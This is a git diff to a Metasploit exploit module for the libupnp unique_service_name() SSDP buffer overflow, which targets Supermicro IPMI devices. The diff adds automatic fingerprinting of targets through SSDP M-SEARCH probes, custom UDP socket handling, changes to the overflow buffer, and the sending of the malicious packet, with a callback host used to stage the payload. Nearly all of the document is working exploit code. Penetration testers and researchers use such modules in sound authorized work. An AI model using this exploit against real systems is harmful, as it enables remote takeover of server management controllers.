diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index efc99b7ec0..85df37ca44 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -10,8 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::Udp - def initialize(info = {}) super(update_info(info, 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', @@ -26,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', # Exploit dev for Supermicro IPMI - 'Alex Eubanks ' # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI ], 'License' => MSF_LICENSE, @@ -68,6 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Targets' => [ + + [ "Automatic", { } ], + # # ROP targets are difficult to represent in the hash, use callbacks instead # @@ -76,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Remote # The callback handles all target-specific settings :callback => :target_supermicro_ipmi_131, - # This matches the Server header of a SSDP reply - :fingerprint_server => - /Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/ + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: @@ -90,44 +91,52 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => 'Feb 03 2013')) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) register_options( [ + Opt::RHOST(), Opt::RPORT(1900), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ], self.class) end + def exploit - unless self.respond_to?(target[:callback]) + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) print_error("Invalid target specified: no callback function defined") return end - buffer = self.send(target[:callback]) + buffer = self.send(target_info[:callback]) pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + - "MX:3\r\n" + "MX:3\r\n\r\n" - print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") - connect_udp - udp_sock.put(pkt) + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) 1.upto(5) do ::IO.select(nil, nil, nil, 1) break if session_created? end - handler - disconnect_udp + # No handler() support right now end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc def target_supermicro_ipmi_131 @@ -135,8 +144,8 @@ class Metasploit3 < Msf::Exploit::Remote buffer = Rex::Text.rand_text_alpha(2000) # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() - buffer[1,1] = '"' - buffer[1900,1] = '"' + buffer[0,1] = '"' + buffer[1999,1] = '"' # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) @@ -257,5 +266,71 @@ class Metasploit3 < Msf::Exploit::Remote end end + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + end